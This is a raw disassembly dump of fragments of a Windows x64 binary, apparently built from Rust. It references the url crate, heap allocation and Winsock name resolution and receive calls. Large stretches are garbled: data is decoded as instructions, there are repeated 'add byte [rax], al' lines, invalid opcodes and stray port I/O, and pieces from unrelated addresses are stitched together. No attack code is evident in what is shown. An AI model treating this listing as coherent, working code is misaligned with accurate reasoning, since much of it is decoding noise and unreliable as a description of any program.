add eax, 0x8d4c0000
or eax, 0xbc68c
add byte [rdi], bl
add byte [rax], al
mov ecx, 0x48000003
add byte [rax - 0x77], cl
invalid
add eax, eax
add byte [rax], al
or byte [rbx], al
add byte [rax], al
invalid
cwde
add eax, 0xb7f77
rol byte [rcx - 0x77], 0xc0
fsubr st(7)
inc dword [rcx - 0x7f]
clc
add byte [rax], cl
or bh, ch
cli
xchg byte [rdx + rbp*2 + 0x41], dh
cmp eax, 0x87
clc
xchg dword [rax], eax
add byte [rax], al
test dl, dh
idiv edi
mul byte [rdi - 0x57f0000]
cmc
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
add byte [rax], al
clc
push rax
xor byte [rax - 1], ch
invalid
add cl, byte [rdi]
invalid
add byte [rax], al
add byte [rax], al
add bh, bh
mov dword [rcx], eax
add byte [rax], al
ret
add dword [rax], eax
jne 0x14015052c
cmp edx, 0x11127
mov ecx, 0x1112f
cmove eax, ecx
ret
mov esi, 0xc3000114
cmp edx, 0x110ba
mov ecx, 0x1109a
cmove eax, ecx
ret
invalid
add byte [rax], al
add byte [rax - 0x75], cl
pushfq
and al, 0xa8
add byte [rax], al
add byte [rax - 0x75], cl
mov ah, 0x24
mov al, 0
add byte [rax], al
add byte [rax], al
and al, 0x50
push rsp
and al, 0x50
add rbp, rcx
add byte [rax], al
imul edx, r11d
add edx, esi
inc rcx
inc rcx
mov eax, 1
cmp r10, rcx
je 0x140151805
movzx eax, byte [r8 + rcx]
movzx eax, byte [rax + rcx]
lea esi, [rax - 0x30]
cmp esi, 0xa
jb 0x1401516e0
or eax, 0x20
add eax, 0xffffff9f
add eax, 0xa
cmovb eax, r9d
mov esi, eax
cmp eax, r11d
jb 0x1401516e0
xor edx, edx
jmp 0x140151803
test byte [rax], al
add byte [rax], al
add byte [rax], al
cmp r10, r9
je 0x14015180e
movzx esi, byte [r8 + r9]
mov eax, ecx
mul r11d
seto bl
add esi, 0xffffffd0
xor edx, edx
cmp esi, r11d
jae 0x140151803
test bl, bl
jne 0x140151803
mov ecx, eax
inc r9
mov eax, 0
add ecx, esi
jae 0x1401517c0
jmp 0x140151805
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov eax, 1
mov edx, ecx
jmp 0x140151805
add dword [rax], eax
add byte [rax], al
mov rdx, r9
call fcn.140161400
add byte [rax], al
add byte [rax], al
ud2
push rdi
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x20], xmm0
cmp r8, 2
jb 0x140151899
mov r10, rax
cmp r11, r8
jae 0x1401519c1
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov eax, edx
add rax, 0xfffffffffffffffe
je 0x140151c84
add rax, r9
cmp rax, 7
cmp eax, 7
cmp eax, 7
ja 0x140151cc6
movzx r8d, word [rsp + 0x2a]
movzx r10d, word [rsp + rax*2 + 0x20]
mov word [rsp + 0x2a], r10w
mov word [rsp + rax*2 + 0x20], r8w
mov rax, rdx
add rax, 0xfffffffffffffffd
je 0x140151c84
add rax, r9
cmp rax, 7
ja 0x140151cc6
movzx r8d, word [rsp + 0x28]
movzx r10d, word [rsp + rax*2 + 0x20]
mov word [rsp + 0x28], r10w
mov word [rsp + rax*2 + 0x20], r8w
mov rax, rdx
add rax, 0xfffffffffffffffc
je 0x140151c84
add rax, r9
cmp rax, 7
ja 0x140151cc6
movzx r8d, word [rsp + 0x26]
movzx r10d, word [rsp + rax*2 + 0x20]
mov word [rsp + 0x26], r10w
mov word [rsp + rax*2 + 0x20], r8w
mov rax, rdx
add rax, 0xfffffffffffffffb
je 0x140151c84
add rax, r9
cmp rax, 7
ja 0x140151cc6
or al, 0x4d
mov ebx, esi
cmp bl, 0xa
jae 0x140151899
jmp qword [rsi + recv]
movdqa xmm0, xmmword [rsp + 0x20]
movdqa xmm1, xmm0
psrlw xmm1, 8
psllw xmm0, 8
por xmm0, xmm1
movdqu xmmword [rcx + 1], xmm0
jg 0x140151ce1
add esi, eax
add dword [rax], eax
jmp case.0x14012f071.1747
jg 0x140151ce1
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.4.1_srchost.rs_bJ__
mov edx, 8
mov rcx, rax
call fcn.140160ed0
ud2
sub rbx, rbp
movzx ecx, byte [rsi + r13]
mov rdx, r14
mov r8, rbx
call fcn.14005e6f0
cmp rax, 1
jne 0x140151e36
test eax, eax
je 0x140151e60
mov qword [r12 + 0x18], rbx
cmp rbp, rbx
ja 0x140151e42
cmp rbx, r15
mov r14, qword [rsp + 0x40]
jbe 0x140151dd0
jmp 0x140151e42
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
mov qword [rax], rcx
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov qword [r12 + 0x18], r14
mov rax, qword [rsp + 0x30]
mov qword [rax + 8], r14
mov qword [rax + 0x10], rdi
mov eax, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
jmp 0x140151e3d
add byte [rdi], cl
or ecx, esp
int3
lea rcx, [r10 - 1]
movzx r11d, r11b
cmp r11d, 0x21
jae 0x140152201
cmp r8, rcx
je 0x14015220a
mov r10, rcx
movzx r11d, byte [rcx - 1]
test r11b, r11b
jns 0x140152180
movzx r14d, byte [r10 - 2]
cmp r14b, 0xc0
jge 0x1401521cc
movzx esi, byte [r10 - 3]
cmp sil, 0xc0
jge 0x1401521d6
lea rcx, [r10 - 4]
movzx ebx, byte [r10 - 4]
and ebx, 7
shl ebx, 6
and esi, 0x3f
or esi, ebx
jmp 0x1401521dd
lea rcx, [r10 - 2]
and r14d, 0x1f
jmp 0x1401521e7
lea rcx, [r10 - 3]
and esi, 0xf
shl esi, 6
and r14d, 0x3f
out 0x3f, al
out 0x3f, al
or r14d, esi
shl r14d, 6
and r11b, 0x3f
movzx r11d, r11b
or r11d, r14d
cmp r11d, 0x110000
jne 0x140152188
jmp 0x14015220a
sub r9, r8
add r9, r10
mov rbp, r9
xor ecx, ecx
test dl, dl
cmovne rax, rcx
lea r14, [rdi + rax]
test r15, r15
je 0x140152316
invalid
add byte [rax - 0x77], cl
jmp 0x18cd64b6e
mov rcx, rbp
sub rcx, rax
cmp rcx, r12
jae 0x140152233
mov rcx, r15
mov dl, 1
call qword [r13 + 0x28]
lea rax, [rdi + rbp]
mov ecx, 0x2600
mov rdx, r14
jmp 0x14015226a
add rdx, 2
shl r9d, 6
or r9d, esi
mov r8d, r9d
cmp r8d, 0xd
ja 0x14015226a
nop word cs:[rax + rax]
bt ecx, r8d
jb 0x14015230d
cmp rdx, rax
je 0x140152316
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x140152290
inc rdx
cmp r8d, 0xd
jbe 0x140152260
jmp 0x14015226a
mov r9d, r8d
and r9d, 0x1f
movzx esi, byte [rdx + 1]
and esi, 0x3f
cmp r8b, 0xdf
jbe 0x140152241
movzx r10d, byte [rdx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x1401522f0
movzx r8d, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x140152316
add rdx, 4
cmp r8d, 0xd
jbe 0x140152260
invalid
ret 0x4104
invalid
jmp 0x14015226a
add rdx, 3
shl r9d, 0xc
loope 0x140152304
or r10d, r9d
mov r8d, r10d
cmp r8d, 0xd
jbe 0x140152260
loope 0x140152304
jmp 0x14015226a
mov rcx, r15
mov dl, 9
call qword [r13 + 0x28]
add rdi, rbp
mov eax, 0x2600
mov rcx, r14
mov rsi, qword [rsp + 0x110]
add dword [rax], eax
add bl, ch
invalid
add dword [rax], eax
add bl, ch
sub eax, 0x441f0f
add byte [rax - 1], cl
rol dword [rbx - 0x78f0f206], 0xc4
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rax], al
adc dword [rax], eax
loopne 0x1401523da
invalid
loop case.0x140107dc6.1737
shl eax, 0xc
sub dword [rbx], ecx
add byte [rax - 0x77], cl
and al, 0x20
retf 0xd4e8
add qword [rax], rax
add byte [rdi], cl
sub dword [rsp + 0xa0], ebx
add byte [rcx], al
add byte [rax], al
or ecx, eax
cmp byte [rcx + rcx*4 + 0x74], cl
ret
leave
and al, 0x80
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
ret 0xfa81
mov esp, 0x8824
add byte [rax + 1], bh
test edi, edi
je fcn.140156cdb
or eax, dword [rax]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp fcn.140156cdb
sub dword [rsp + 0xb0], ebx
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x20], r14
lea rdx, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
int1
and al, 0x80
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov r9, rbx
call fcn.140158b60
jmp 0x140157934
and al, 0x90
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
inc edx
mov qword [rdi + 0x10], rdx
mov rax, qword [rdi + 8]
sub rax, rdx
cmp rax, 1
jbe 0x140157bae
mov rax, qword [rdi]
movzx ecx, word [rbx]
mov word [rax + rdx], cx
add rdx, 2
mov qword [rdi + 0x10], rdx
mov dword [rsp + 0x70], 0
add byte [rax], al
add cl, ch
or dword [rbx], eax
add byte [rax], al
add byte [rax], al
add cl, ch
or dword [rbx], eax
add byte [rax], al
movzx eax, byte [rcx + 0x40]
test al, al
je 0x140157186
mov r8d, dword [rcx + 0x34]
mov ebx, dword [rcx + 0x38]
mov r12, qword [rcx + 0x10]
mov rdx, qword [rcx + 0x20]
cmp r8d, ebx
ja 0x1401573d0
invalid
add byte [rbp - 0x7b], al
ror byte [rdi], 0x84
invalid
test r8d, r8d
je 0x1401573c0
cmp rdx, r8
jbe 0x1401573be
mov dword [rsp + 0x70], 0
jmp 0x140157435
cmp byte [rbx + rcx], 0xbf
jle 0x1401576e7
test ebx, ebx
je 0x1401573eb
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.4.1_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, r12
mov r9, rbx
call fcn.140161400
ud2
movzx r12d, byte [rsp + 0x190]
mov rbx, qword [rsp + 0xd0]
add r15d, 0xffffffdd
cmp r15d, 0x39
ja 0x140157463
movabs rax, 0x200000010001001
bt rax, r15
jae 0x140157463
mov byte [rsp + 0x80], 0
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x80]
mov rcx, rdi
xor edx, edx
mov r9, rbp
call fcn.140154fb0
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x80]
mov rdx, rdi
mov r8d, r12d
mov r9d, 4
call fcn.1401594c0
mov eax, dword [rsp + 0x80]
cmp eax, 2
je 0x14015790a
adc dword [rsi + 0x41], eax
mov dword [rsi], eax
mov qword [rsi + 4], rdx
mov dword [rsi + 0xc], ecx
mov word [rsi + 0x28], 0
movabs rax, 0x700000004
mov qword [rsi + 0x2c], rax
mov dword [rsi + 0x34], 7
mov dword [rsi + 0x38], ebp
mov dword [rsi + 0x3c], ebp
mov eax, dword [rsp + 0x70]
mov byte [rsi + 0x40], al
jmp 0x140157934
or al, 0x24
mov qword [rsi], rcx
mov dword [rsi + 8], 0
mov ecx, dword [r12 + 0x28]
mov dword [rsi + 0x28], ecx
movups xmm0, xmmword [r12 + 0x2c]
movups xmmword [rsi + 0x2c], xmm0
mov dword [rsi + 0x3c], eax
jmp 0x140157934
movups xmm0, xmmword [rdi + 0x30]
movups xmmword [rsi + 0x30], xmm0
jmp 0x140157934
xchg ebp, eax
test byte [rax + rax], ah
add dword [rax], eax
add byte [rbp - 0x7c], al
in eax, dx
je 0x1401577f5
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0x100]
mov rcx, rdi
xor edx, edx
mov r9, r14
call fcn.14015af00
mov rbx, rax
mov r14, rdx
mov r15, qword [rsp + 0x70]
cmp byte [rsp + 0x100], 0
add byte [rdi], cl
test ebx, ebp
add byte [rax], al
invalid
add byte [rdi], cl
test ebx, ebp
add byte [rax], al
add bl, ch
mov byte [esi + 4], 9
jmp case.0x14005f6a2.4268
jmp 0x140157915
mov rax, r12
cmp r12, qword [rdi + 8]
mov r15, qword [rsp + 0x70]
and al, 0x70
and al, 0x70
jne 0x140157812
mov rcx, rdi
mov rdx, r12
call fcn.140093b10
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi]
mov byte [rcx + rax], 0x2f
inc rax
ror byte [rax - 0x77], 0x47
adc byte [rax - 0x77], cl
pop rsp
and al, 0x28
ror byte [rax - 0x77], 0x47
adc byte [rax - 0x77], cl
pop rsp
and al, 0x28
mov qword [rsp + 0x20], r14
lea r8, [rsp + 0x100]
mov rcx, rdi
xor edx, edx
mov r9, r12
call fcn.140154fb0
mov rbx, rax
mov r14, rdx
cmp byte [rsp + 0x100], 0
jne 0x1401578d5
cmp r12, 7
jb 0x140157c43
mov rdx, qword [rdi + 0x10]
cmp rdx, r12
jb 0x140157c59
mov rax, qword [rdi]
cmp rdx, 8
cli
or byte [rdx + 0xa], dh
cli
or byte [rdx + 0xa], dh
cmp byte [rax + 7], 0xc0
jl 0x140157c6a
cmp rdx, r12
jbe 0x14015788d
cmp byte [rax + r12], 0xbf
jle 0x140157c84
add byte [rax], al
add byte [rax], al
lea rcx, [rax + 7]
add rax, r12
mov qword [rsp + 0x90], rdi
mov qword [rsp + 0x98], 7
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rax*4], fs
add byte [rax], al
add al, ch
adc ebp, 0xffffffeb
inc dword [rcx - 0x44]
invalid
add byte [rax], al
add byte [rcx], dh
in eax, dx
add byte [rcx + rcx*4 - 0x5c], cl
and al, 0xa0
add byte [rax], al
add byte [rax - 0x77], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rax*4], fs
add byte [rax], al
add al, ch
adc ebp, 0xffffffeb
inc dword [rcx - 0x44]
invalid
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rbx
and al, 0x20
and al, 0x20
lea rcx, [rsp + 0x80]
mov rdx, rdi
movzx r8d, byte [rsp + 0x190]
mov r9d, 4
add al, ch
ret 0x1b
add byte [rbx + 0x802484], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rbx + 0x3f7502f8], al
add al, ch
ret 0x1b
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rbx + 0x3f7502f8], al
movzx eax, byte [rsp + 0x84]
mov byte [rsi + 4], al
mov dword [rsi], 2
cmp qword [rdi + 8], 0
je 0x140157934
mov r8, qword [rdi]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x128
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ecx, dword [rsp + 0x8c]
mov rdx, qword [rsp + 0x84]
mov r8, qword [rdi + 0x10]
mov qword [rsi + 0x20], r8
movups xmm0, xmmword [rdi]
movups xmmword [rsi + 0x10], xmm0
movzx r8d, word [rsp + 0xd8]
mov word [rsi + 0x45], r8w
movzx r8d, byte [rsp + 0xda]
mov byte [rsi + 0x47], r8b
mov dword [rsi], eax
mov qword [rsi + 4], rdx
mov dword [rsi + 0xc], ecx
mov word [rsi + 0x28], 0
movabs rax, 0x700000004
mov qword [rsi + 0x2c], rax
mov dword [rsi + 0x34], 7
mov dword [rsi + 0x38], r12d
mov dword [rsi + 0x3c], r12d
mov byte [rsi + 0x40], bpl
mov eax, dword [rsp + 0x11c]
mov dword [rsi + 0x41], eax
mov rax, qword [rsp + 0xd0]
mov qword [rsi + 0x48], rax
mov byte [rsi + 0x50], r15b
jmp 0x140157934
mov r8d, 2
mov rcx, rdi
call fcn.14015cc80
mov rdx, qword [rdi + 0x10]
jmp 0x140157116
lea r8, [0x140204898]
mov ecx, 7
mov rdx, r12
call fcn.140161190
ud2
lea r8, [0x140204898]
mov rcx, r12
call fcn.140160f40
ud2
lea rcx, str.assertion_failed:_self.is_char_boundary_start_
lea r8, [0x140204928]
mov edx, 0x2e
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.is_char_boundary_end_
lea r8, [0x1402048e0]
mov edx, 0x2c
call fcn.140160fb0
ud2
sub byte [rbp - 0x77], cl
out dx, eax
mov ecx, edi
invalid
sar bh, cl
adc eax, 0xe63a
cmp eax, 0x48f08948
mov ecx, dword [rdi]
clc
add byte [rax], al
add al, ch
xor al, 0xf4
invalid
add byte [rax], al
insb byte [rdi], dx
and al, 0x60
test rdx, rdx
je 0x140159894
mov rbp, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
and al, 0x70
and al, 0x70
mov r13, qword [rsp + 0x78]
jmp fcn.1401598a9
add byte [rax], al
add byte [rdi], ch
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x50
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x28]
call fcn.140151d00
cmp qword [rsp + 0x58], 0
cmp dword [rsp + 0x58], 0
cmp dword [rsp + 0x58], 0
je 0x140159c30
mov rax, qword [rsp + 0x60]
lea r8, [r14 + rax]
inc r8
test bpl, bpl
jne 0x140159c0b
mov rax, rsi
test r8, r8
je 0x140159bf0
mov rax, rsi
sub rax, r8
jbe 0x140159bee
or al, byte [rax]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r9, rsi
call fcn.140161400
ud2
cmp rax, 2
jne 0x140159c0b
add dh, byte [rbp + 0x15]
movzx eax, byte [rbx + r8]
and al, 0xdf
add al, 0xbf
cmp al, 0x19
ja 0x140159c0b
cmp byte [rbx + r8 + 1], 0x3a
je 0x140159c25
cmp rsi, r8
jb 0x140159c25
invalid
adc eax, 0x74c0854d
or al, 0x4c
cmp esi, eax
jbe 0x140159c21
test r8, r8
je 0x140159c21
cmp byte [rbx + r8], 0xc0
jl 0x140159c69
mov qword [rdi + 0x10], r8
add rsp, 0x70
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, [0x140204ea8]
mov edx, 0x2b
call fcn.140160fb0
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
add eax, 0xab23f
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, rsi
mov r8, r14
mov r9, rsi
call fcn.140161400
cdq
ja 0x140159c66
add byte [rdi], cl
invalid
cdq
ja 0x140159c66
add byte [rdi], cl
or ecx, dword [rax - 0x73]
or eax, 0xaacd0
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x140204970]
mov edx, 0x30
call fcn.140160fb0
add byte [rax], al
add byte [rax], al
ud2
lea rdx, [0x140204680]
lea rcx, [rsp + 0x28]
xor r8d, r8d
call fcn.14013df20
ud2
push rsi
push rdi
sub rsp, 0x28
mov rsi, qword [rcx]
mov esi, dword [rcx]
mov esi, dword [rcx]
mov rdi, qword [rcx + 8]
mov qword [rcx], 0
test rsi, rsi
je 0x140159d4a
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140159d11
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140159d39
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, reloc.WS2_32.dll_recv
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140159d39
mov qword [rax], rsi
mov qword [rax + 8], rdi
lea rdx, [0x1402049e8]
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 8
mov edx, reloc.WS2_32.dll_recv
call fcn.14015d7f0
ud2
mov ecx, 7
int 0x29
ud2
push r14
push rsi
push rdi
push rbx
sub rsp, 0x88
mov ebx, r9d
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.140013a50
mov r8, qword [rsp + 0x30]
test r8, r8
je 0x140166af0
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
cmp qword [rsp + 0x38], 0
je 0x140166b6a
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x140166b78
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov byte [rdi], 0
test r14, r14
je 0x140166b6a
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r14
ret
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bx
xor eax, eax
mov qword [rsi], rax
mov byte [rdi], 0
test r14, r14
jne 0x140166b58
jmp 0x140166b6a
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid